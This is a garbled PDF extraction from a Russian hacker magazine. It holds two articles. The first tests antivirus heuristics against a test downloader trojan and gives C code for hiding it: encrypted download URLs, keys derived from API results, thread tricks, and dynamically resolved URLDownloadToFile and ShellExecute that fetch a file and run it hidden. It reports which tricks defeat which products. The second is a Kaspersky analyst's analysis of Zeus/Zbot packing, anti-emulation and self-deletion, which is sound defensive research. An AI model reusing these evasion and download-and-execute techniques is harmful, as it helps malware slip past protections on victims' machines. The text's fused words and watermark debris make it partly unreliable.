Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
9.23 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

Avira пытается задетектить зловреда

шифровки/расшифровки. НатравивKIS2011 нанашеготроя, мыв ответнеполучилиничего. Каспернераспозналвредоносногокодав тестовомфайле. NOD32 облажалсятакже, какиKaspersky — поего мнению, программабезопасна. Похоже, большиециклыдействительновводятэвристикувступор. Нонадожеещеузнатьмнение двухоставшихсяконкурсантов! AntiVir вэтотразрешилнеменять своегомненияиобозвалприманкуTR/Downloader.Gen. McAfee такжесработалчетко— парамиллионовитерацийнепомешали вывестистрокуSuspect-D!601711206FB9. Такимобразом, второй тестразделилнашиантивирусынадвегруппы: лузерыи«крутые антивири». McAfee иАвирапоканеплохосправляются, осиливвсе дватеста.

Тест №3

Предыдущееиспытаниеможетпоказатьсянеслишкомпрактичным. Идействительно, большоеколичествоитерацийцикласущественнозамедлитвыполнениепрограммы, чтовконечнымсчетеможет оказатьсянеприемлемым.

Длятретьеготестамывзялинавооружениедругойподход. Вовсех предыдущихтрюкахпообходуэвристикиключвсегдабылдоступен дляанализа— эвристикмоглибовычислитьегозначение, либооно емубылоизвестносразу. Теперьжемырешиливоспользоватьсяеще однойслабойсторонойантивирусныханализаторовкода— игнорированиерезультатоввызовасистемныхAPI.

Большинствоэвристическихдвижковнесмотрятвкодсистемных функцийWindows, и, следовательно, немогутпредсказатьзначение, возвращаемоетойилиинойAPI. Амеждутем, мыможемсгенерироватьключрасшифровкинаосновеэтихAPI. Например, функция CommandLineToArgvW анализируеткоманднуюстрокуиговорит, скольковнейсодержитсяпараметров. Привызовезловредаможно передаватьемуопределенноеколичествоэтихпараметров, которое впоследствииможетбытьиспользованодлярасшифровкинужных значений.

ИспользуемCommandLineToArgvW длярасшифровкистрок

//зашифрованные строки

//...

//ключом служет количество переданных параметров в командной строке

int key;

CommandLineToArgvW(lpCmdLine, &key); decrypt(szUrl,key); decrypt(szTempName,key);

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

// загрузка и запуск файла

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

e

 

 

 

 

p

df

 

 

 

g

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

// ...

Значениепеременнойkey мыполучаемизвызова CommandLineToArgvW. Естественно, никто, кроменас, незнает, какоеонодолжнобыть, иприсканированиифайлаантивирусне долженпонять, чтожетамдействительнопроисходит. Наэтотраз никто, кромеMcAfee, неразгадалподозрительныйкод. Касперский,

НОДиAntivir даженепискнуливовремяскана. McAfee вырываетсяв лидеры. Посмотрим, изменитсялисложившаясяситуациявследующихиспытаниях.

Тест №4

Генерацияключанаосновепередаваемыхпараметров— неочень хорошаяидея. Частозапуститьзловредскоманднойстрокойневозможно, поэтомумыпридумалидругойметод. Сутьегозаключается вследующем: спомощьюфункцииCreateFile мыпытаемсяоткрыть файлntldr, которыйлежитвкорнесистемногодиска. Еслиоткрывать этотфайлтольконачтение, мыполучимзаранееизвестныйрезультат, которыйточнонебудетравенINVALID_HANDLE_VALUE. Зная это, можнореализоватьследующийтрюк:

ИспользуемCreateFile

//зашифрованные строки

//

HANDLE h = CreateFileA("c:\\ntldr", FILE_READ_ACCESS, 0, 0, OPEN_EXISTING, 0, NULL);

// расшифровка в теле if

if (h != INVALID_HANDLE_VALUE)

{

int key = 5; decrypt(szUrl,key); decrypt(szTempName,key);

}

//загрузка и запуск файла

//...

Каквидноизкода, мысравниваемрезультат, которыйвозвратила функция, сINVALID_HANDLE_VALUE, изатем, будучиточноувереннымивэтомсравнении, выполняемрасшифровкунужныхнам переменных.

ТеперьнажмемкнопкуScan унашихантивирусовипосмотримнарезультаты. KIS скромнопромолчал. ЕгопримерупоследовалиNOD32 иAvira AntiVir. АвотMcAfee опятьначалругатьсянатестовыйвирус,

определивегокакSuspect-D!73AD7FD9A4E5. ТакимобразомMcAfee

закрепилсвоелидерствоиоставилсоперниковпозади.

Тест №5

ПятыйтестосновываетсянавызоведвухAPI-функцийWindows: CreateFile иGetLastError. Сутьегозаключаетсявтом, чтоспомощью CreateFile мыпытаемсяоткрытьфайл, которогонесуществуетна диске, например, что-нибудьтипаghj12lkfd0fivndsi83s.cj8. После неудачнойпопыткиоткрытияфайлафункцияGetLastError вернет ошибкуERROR_FILE_NOT_FOUND. Наосновеэтогозначениямы будемгенерироватьключдлярасшифровкистрок.

ГенерацияключанаосноверезультатаGetLastError

//зашифрованные строки

//

//генерация ключа на основе GetLastError HANDLE h = CreateFile(

_T("c:\\jdksjf9i34ufhvnmfieru834gfbher.xls"), FILE_READ_ACCESS, 0, 0, OPEN_EXISTING, 0, NULL);

DWORD key = GetLastError(); key +=3; decrypt(szUrl,key);

XÀÊÅÐ 11 /142/ 10

079

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

w Click

to

 

 

 

 

MALWARE

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Домашний экран Avira AntiVir Personal

decrypt(szTempName,key);

//загрузка и запуск файла

//...

Стоит отметить, что этот способ достаточно популярен, и GetLastError можно использовать в связке не только с CreateFile, но и любой другой API, которая вызывает заранее известную ошибку.

Теперь проверим сообразительность аверов. Честно говоря, мы уже думали, что картина вряд ли изменится — аутсайдеры не смогут набрать больше очков, но мы ошиблись. Kaspersky неожиданно для нас показал окно, в котором радостно сообщалось о возможной опасности. Обозвал он эту опасность, как и прежде, Heur. Downloader. Следующим был NOD32. Он оказался не настолько удачливым и промолчал. Так же себя повел и АнтиВир, а вот McAfee опять гордо заявил о трояне.

Тест №6

Следующее испытание завязано на многопоточности. Мы разбили код тестового зловреда на два блока. Первый блок расшифровывает строки заранее заданным ключом. Этот код выполняется в отдельном треде. В основном же потоке программы будет непос-

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

редственно осуществляться вызов функций URLDownloadToFile и ShellExecute. Ниже приведен код этого маневра:

Многопоточность

// зашифрованные строки

TCHAR szUrl[] = _T("mqqu?**slwmjvq+fjh*glk*idlkfm+`}`"); TCHAR szTempName[] = _T("F?Yidlkfm+`}`");

void thr1()

{

Sleep(0);

int key = 5; decrypt(szUrl,key); decrypt(szTempName,key);

}

int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,

LPTSTR lpCmdLine, int nCmdShow)

{

DWORD p;

HANDLE t1=CreateThread(0,0, LPTHREAD_START_ROUTINE)&thr1,0,0,&p);

Sleep(3000);

//загрузка и запуск файла

//...

}

Каквидно, длясинхронизациидействиймыиспользовалиSleep. Это неслишкомизящно, затоработает. Практическисо100% вероятностью нашистрокиуспеютрасшифроватьсядоначалапроцессазагрузки файлаизсети.

Здесьрезультатыполностьюсовпалиспредыдущими. Хотьмыисменилитактику, начависпользоватьпотоки, ниMcAfee, ниKIS2011 некупилисьнаэтиуловкиигромкопротрубилиосвоейнаходке. АвотНОД32 и Avira опятьселивлужу. Теперьмывидим, чтоКасперначалвырываться вперед, оставляяпозадихорошостартовавшийAntiVir. Нодальшенаши антивирусыожидаютещецелыхдваиспытания.

Сравнительная таблица результатов

Кажется,чтоMcAfeeпразднуетпобеду,номывсе-такиподпортим емувеселье.Выигрышамериканскогоантивирусаоченьусловен. Во-первых,прочностьцепиопределяетсясамымслабымеезвеном,и уMcAfeeэтозвено—тест№8.Аво-вторых—читайврезку.Наэтоммы заканчиваемнашиисследования.Всегданужнопомнить,чтоналичие крутогоантивирусанеспасеттебяоткрутоговируса.Самаянадежная защита—этособственнаяголова.

 

KIS2011

NOD32

Avira AntiVir

McAfee

Тест№1

+

+

+

+

Тест№2

-

-

+

+

Тест№3

-

-

-

+

Тест№4

-

-

-

+

Тест№5

+

-

-

+

Тест№6

+

-

-

+

Тест№7

+

-

-

+

Тест№8

-

-

-

-

Результат

4 из8

1 из8

2 ИЗ8

7 ИЗ8

 

 

 

 

 

Тест №7

Седьмойтест— этонемногоусложненнаяверсияпредыдущего. Здесь мытакжехотимспомощьюмногопоточностиобманутьэвристик, но наэтотразиспользуемболеехитрыйметодсинхронизациипотоков— механизмсобытий(event).

Втелетреда, ответственногозадекриптстрок, мыожидаемустановкив сигнальноесостояниесобытиясименемe_Heur. Восновномжепотоке мысоздаемэтотивентивключаемего. Такимобразоммынадеемсяеще сильнейзапутатьэвристику:

Многопоточностьи«продвинутая»синхронизация

// зашифрованные строки

TCHAR szUrl[] = _T("mqqu?**slwmjvq+fjh*glk*idlkfm+`}`"); TCHAR szTempName[] = _T("F?Yidlkfm+`}`");

void thr1()

{

HANDLE event = OpenEvent(SYNCHRONIZE ,FALSE, _T("e_Heur"));

WaitForSingleObject(event,INFINITE);

int key = 5; decrypt(szUrl,key); decrypt(szTempName,key);

080

XÀÊÅÐ 11 /142/ 10

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

}

int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,

LPTSTR lpCmdLine, int nCmdShow)

{

HANDLE event = CreateEvent(NULL, TRUE, FALSE, _T("e_Heur"));

DWORD p;

HANDLE t1=CreateThread(0,0,

LPTHREAD_START_ROUTINE)&thr1,0,0,&p);

Sleep(2000);

SetEvent(event);

Sleep(2000);

//загрузка и запуск файла

//...

}

Усложнениетрюкасмногопоточностьюнепринеслоожидаемых результатов. «Зачеты» и«незачеты» распределилисьточнотакже, как ивтесте№6. КаспериMcAfee впереди, аNOD32 сАвирой, похоже, уже смирилисьсозваниемнеудачников.

Тест №8

Вовсехпредыдущихиспытанияхмыкриптовалистроки, которые передаютсяAPI-функциямвкачествеаргументов. Впоследнемтестемы решилипоменятьподход, посколькунекоторыеантивирусы(вчастности, McAfee) оченьхорошораспознаютнашиуловки. Теперьмыбудем динамическиполучатьадресаURLDownloadToFile иShellExecute, пред-

варительнозашифровавихимена. Длябольшейнаглядностисоветуем посмотретькод:

ШИФРОВАНИЕИМЕНКЛЮЧЕВЫХAPI

typedef HRESULT (__stdcall *URLFUNC)(LPUNKNOWN,LPCTSTR, LPCTSTR,DWORD,LPBINDSTATUSCALLBACK);

typedef HINSTANCE (__stdcall *EXECFUNC)(HWND,LPCTSTR, LPCTSTR,LPCTSTR,LPCTSTR,INT);

int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,

LPTSTR lpCmdLine, int nCmdShow)

{

LONG res;

//зашифрованные строки TCHAR szUrl[] =

_T("mqqu?**slwmjvq+fjh*glk*idlkfm+`}`"); TCHAR szTempName[] = _T("F?Yidlkfm+`}`");

//имена функций

TCHAR szUrlDownload[] = _T("PWIAjrkijdaQjCli`R");//_T("URLDownloadToFileW");

TCHAR szShellExec[] = _T("Vm`ii@}`fpq`R");//_T("ShellExecuteW");

HANDLE h = CreateFileA("e:\\ntldr", FILE_READ_ACCESS, 0, 0, OPEN_EXISTING, 0, NULL);

if (h != INVALID_HANDLE_VALUE)

{

int key = 5; decrypt(szUrl,key); decrypt(szTempName,key); decrypt(szUrlDownload,key); decrypt(szShellExec,key);

Интерфейс McAfee

}

// получаем адреса функций

HMODULE hModule = LoadLibrary(_T("urlmon.dll")); URLFUNC urlProc = (URLFUNC)GetProcAddress(hModule,

szUrlDownload);

hModule = LoadLibrary(_T("shell32.dll"));

EXECFUNC execProc = (EXECFUNC)GetProcAddress(hModule, szShellExec);

// загрузка и запуск файла

res = (urlProc)(NULL,szUrl,szTempName,NULL,NULL); if (res==S_OK)

{

(execProc)(NULL,_T("open"), szTempName, NULL, NULL, SW_HIDE);

}

}

Мыиспользуемтрюкизчетвертоготеста(открытиефайлаntldr с помощьюфункцииCreateFile), новтелеоператоравыборапомимо «стандартных» строкрасшифровываемещеиименаAPI, вчастности, ShellExecuteW иURLDownloadToFileW. Послеэтогомыполучаемадреса этихфункцийспомощьюGetProcAddress иобращаемсякнимпоэтим адресам.

Сменатактикипринесласвоиплоды. Касперскийсвоиммолчанием позволилнашемутроюинфицироватьвсюсистему— несправиласьего эвристикасрасшифровкойименфункций. NOD32 иAvira AntiVir тоже ненашлиничегоподозрительного, кчемумы, впрочем, ужепривыкли. СюрпризнасждалпризапускесканавMcAfee. Неверясвоимглазам, мыдажеповторилипроцедурунесколькораз. Криптованиеимен вызываемыхAPI разнесловпухипрахэвристикуантивирусаспометкой

«Made in USA».

Наэтомнашиэкспериментызакончены. Пораподвестиитогиисделать некоторыевыводы, чеммысейчасизаймемся.

Итоги

Самаяплохаяэвристикаоказаласьусловаков. ESET NOD32 успешно справилсялишьсоднимтестом. ВторымсконцаоказалсяAvira AntiVir с результатом2 из8. Касперскийуспешноразобралсясчетырьмяиспытаниями. АлидеромсталMcAfee, заваливлишьодинтест. z

XÀÊÅÐ 11 /142/ 10

081

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY

 

 

 

 

 

 

MALWARE

 

 

 

 

 

 

 

 

 

 

Вячеслав Закоржевский, Senior Malware Analyst Heuristic detection group, Kaspersky Lab.

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вгостях уZeus’а

Громовержца

Исследуемвнутренностипадшегобога троянописателей

Наверное, каждый читатель ][ слышал о таком зловреде, как Zeus. Этот бот появился еще в 2007 году и уже тогда наделал много шума. Со временем разработчик данного троя «отошел от дел», и его начинание продолжили другие группы киберпреступников. Данного зловреда отличает от других ботов очень высокое распространение в мире и богатый функционал по краже конфиденциальных данных пользователей.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

СЕГОДНЯ МЫ ПОДВЕРГНЕМ ДЕТАЛЬНОМУ

ред.) модификаций этого трояна, опре-

этапов, каждый из которых будет подробно

РАЗБОРУ ОДНУ ИЗ ПОСЛЕДНИХ (на момент

деляемого ЛК как Trojan-Spy.Win32.Zbot.

раскрывать одну из составных частей тро-

сдачи статьи — конец сентября — прим.

anyz. Разбор будет поделен на несколько

яна: «внешний вид», «упаковка и защита»,

082

XÀÊÅÐ 11 /142/ 10

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Рис. 2. Попытка ResHacker’а открыть ресурс типа Dialog в Zbot’е

Рис 1. Просмотр DataDirectory PE-хедера Zbot’а в Hiew

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис. 3. Один из фэйковых вызовов в Zbot’е

Рис. 4. Алгоритм расшифровки одного из участков кода

 

Zbot’а

«полезная нагрузка». Под «внешним видом» подразумевается структура файла, особенности PE-заголовка, количество и расположение секций и т.д.

Далеебудутразобранытакиеметодызащитыотдетектированияантивирусамииразборавотладчике, какантиэмуляцияиобфускация. ЗавершитсяобзоросновнымфункционаломZbot’а: кудаподключается, чтоворует, чтоперехватываетит.д. Втечениестатьибудут описанывсетулзы, использованныеприразборе.

Ну-с, приступим

ВзглянувнафайлизHiew, ясразужеувиделUPX — обэтомже говорилаиточкавхода, стандартнаядляэтогопакера. Менясильно удивилатаблицаэкспортируемыхфункций, расположеннаяпоRVA

— 0x1000, хотякакразпоэтомуадресурасполагаетсясекцияUPX0, укоторойPhysical Size нулевой. Такимобразом, примаппировании файлавпамятьзагрузчиком, начинаясImageBase + 0x1000 ина протяженииVirtualSize секцииUPX0, всебудетзабитонулями. Следовательно, экспортынекорректны, ибылидобавленыразработчикамиявнонедлятого, чтобыэкспортироватьфункции. Такжевфайле присутствуютресурсы. Япопробовалпросмотретьихспомощью ResHacker’а, однакоонобнаружилтолькоэлементтипа«Dialog» ине смогегокорректнообработать. Такимобразом, помимофэйковыхэкспортовфайлсодержитещеифэйковыересурсы. По-видимому, это былосделанодлятого, чтобыZbot большепоходилнанормальные приложения. Всеполяхедерапрекрасноразбираютсяспомощью Hiew, чтоипоказанонарисунке1.

Получивнекоторуюпервичнуюинформацию, яперешелкболеедетальномуанализу. Дляначаламнебылонеобходимораспаковатьфайл, чтобыможнобылопо-человеческивоспользоватьсяотладчиком. Я использовалконсольнуюверсиюпакераUPX, котораяпрекрасносправиласьсосвоейзадачей. Врезультатеееработыяполучилполностью рабочийраспакованныйPE’шникскорректнымиимпортами.

Напервыйвзгляддажевраспакованномфайлепрактическиневозможнобылоопределитьфункционал— строкиотсутствовали, большинствоблоковданныхбылозакриптовано, акод, соответственно, сильнообфусцирован. Помолясь, яприступилкотладкеспомощью IDA 5.1 идекомпиляцииприпомощиHexrays. Обфускациявыполнена довольнопростоиоченьлегковычислялась— онапредставляет собоймножествовложенныхCALL’ов, содержащихлогические/ арифметическиеоперациинад[EBP + xx]. Однаизтакихфэйковых конструкцийпоказананарисунке3.

Помимо обфускации с помощью машинных команд применяется еще и множественный вызов API-функций, не несущих «полезной нагрузки» — так называемые FakeAPI. Эта методика применяется для обхода эмуляторов, которые поддерживают работу только с определенными функциями или вовсе не поддерживают такие вызовы. В данном экземпляре встречается, например, такая экзотическая функция, как HiliteMenuItem, при этом в качестве параметров ей передаются сплошные нули, что, согласись, весьма подозрительно :).

Врезультатеполучается, единственное, чтоделаетвесьисполняемыйкод— выделяетпамятьспомощьюVirtualAlloc’а, записывает тудаодиниззашифрованныхблоковфайла, расшифровываети переходитнанего. Нарисунке4 показанвесьалгоритмдекриптовки, найденныйспомощьюIDA. Такимобразом, код, расположенныйпод UPX’ом, оказалсядляменякрайненеинтересным.

Выковыриваем тело

Перейдемкотладкефрагментакода, которыйрасполагаетсяв выделеннойспомощьюфункцииVirtualAlloc памяти. Первое, с чемястолкнулся— антиэмуляциянаосновечтенияполейсистем-

нойструктурыPEB (Process Environment Block). Зловредполучает значение«ReadOnlyStaticServerData», которое, согласнокниге

«Introduction to NT Internals» содержит: «This field has a pointer

XÀÊÅÐ 11 /142/ 10

083

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

w Click

to

 

 

 

 

 

MALWARE

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

to a pointer to a system-wide shared memory location (read-only). It is usually empty». Надележе, вреальнойсистеме, врезультате несколькихпереходовпоуказателямянаткнулсянаюникодную строку«C:\WINDOWS». Зловредберетодноиздвойныхсловэтой строкиисравниваетсосвоимэталоннымзначением. Вслучае

неудачи— завершается. Далееявстретилещеоднуантиэмуляцию

— вызовNtQuerySystemInformation черезпрямойвызов сервиса 0xAD идальнейшеесравнениеодногоизполейструктурыSYSTEM_ PERFOMANCE_INFORMATION сэталоннымизначениями. Витоге всеисполнениесвелоськочереднойдешифровке, врезультатечего адресноепространствоисходногопроцессасталосодержатьполностьюновыйPE’шник. Дляполучениякорректногодампаяпользовал-

сяPETools исвязкойLordPE + ImpRec 1.6 (PETools самасразужепод-

правляетдамп, новторойвариантболеегибкийвиспользовании). Итак, передомнойоказалсяоригинальныйботZeus, который, по-видимому, ираспространяютразработчики. Всеостальное, чтоописывалосьдоэтого— простооболочка, котораяпозволяет эффективнораспространятьцелевойпродукт. Оказалось, чтосам Zeus написаннаC искомпилированприпомощиСтудии, файл обладаетрелоками, ИАТ’ом, импортами. Вцелом, всяструктурадо-

вольностандартна, осталосьразобратьсамфункционал. Дляэтогоя использовалвиртуальнуюмашинуVMWare совместносотладчиком IDA. Навиртуальнойсистемеприсутствовалитакиепрограммыдля мониторинга, какFileMon, RegMon, Process Explorer идамперы

PETools иLordPE. Какяупоминалранее, вдополнениекIDA был заюзандекомпиляторHex-Rays, которыйпреобразуетASM-кодвC- код. Онзначительнопомогмнеприразборе. Кпримеру, практическипоточкевходаначинаетсяразборкоманднойстроки(см. рис. 5). Такимобразомвыяснилось, чтоZbot проверяетчетыреключа: «-f», «-i», «-n», «-v». Оказалось, чтоключ«-I» скореевсегорасшифровываетсякак«Information», посколькуегоиспользованиезаставляет программупоказыватьсведенияосборкеботавMessageBox’е (показанонарис. 6). Ключ«-n» отключаетудалениеоригинальногофайла(поумолчаниюZeus копируетсебявApplication Data

Рис. 7. Пример работы утилиты Spy++ с языковой панелью

Помимо обфускации с помощью машинных команд, применяется еще и множественный вызов APIфункций, не несущих «полезной нагрузки» — так называемые FakeAPI

ктекущемупользователюиудаляетсебя). Аключ«-v» переводит приложениеврежиможиданияиждетопределенногосообщенияс помощьюGetMessageW. Вобщем, выяснилось, чтоэтиключипредназначеныдляразработчикаилидляраспространителя, нежели дляиспользованияихназараженнойтачке.

Дажееслирассматриваемыйфайлуженичемнеупакован, он содержитнесколькозакриптованныхучастковисполняемогокодаи зашифрованныестроки. НапрягаетчтоЗевсвовремяработыкопируеттакиестрочкивстекиужетамихдекриптует. Следовательно, нельзяпростоснятьдампинаслаждатьсясодержимым, анужно подотладчикомотслеживатьработусопределеннымифрагментами памяти. Далеебыловыяснено, чтоZeus создаетбатник, который удаляеторигинальныйфайл; содержимоебатникапримерноследующее(полученонавиртуальноймашине):

@echo off :d

del "c:\zbot.exe"

if exist "c:\zbot.exe" goto d

del /F "C:\DOCUME~1\antonie\LOCALS~1\Temp\ tmp8c7f7853.bat"

Конечно, основноеназначениебота— подключатьсяккомандномуцентруиполучатьоттудакоманды, чтобывдальнейшемделать то, чтосказано, нояобэтомрасскажувпоследнююочередь. Для началаупомянуонесколькихинтересныхвещах, обнаруженныхв процессеанализастрок.

Zeus используеттакиефункцииизбиблиотекиcabinet.dll, как

FCICreate, FCIAddFile, FCIFlushCabinet идр. Онипозволяютрабо-

татьсcab-архивами, черезкоторыеможнопередаватьплагины иконфигурационныефайлыдлябота. Другаясторонняялиба— nspr4.dll — представляетсобой«The Netscape Portable Runtime

(NSPR)», позволяющий«allows compliant applications to use system facilities such as threads, thread synchronization, I/O, interval timing, atomic operations, and several other low-level services in a platformindependent manner». Нашботиспользуетдляобращениясосвоим серверомсоответствующиефункцииизNSPR: PR_OpenTCPSocket, PR_Close, PR_Read, PR_Write ипрочие. Дляслежениязадействи-

084

XÀÊÅÐ 11 /142/ 10

 

 

 

 

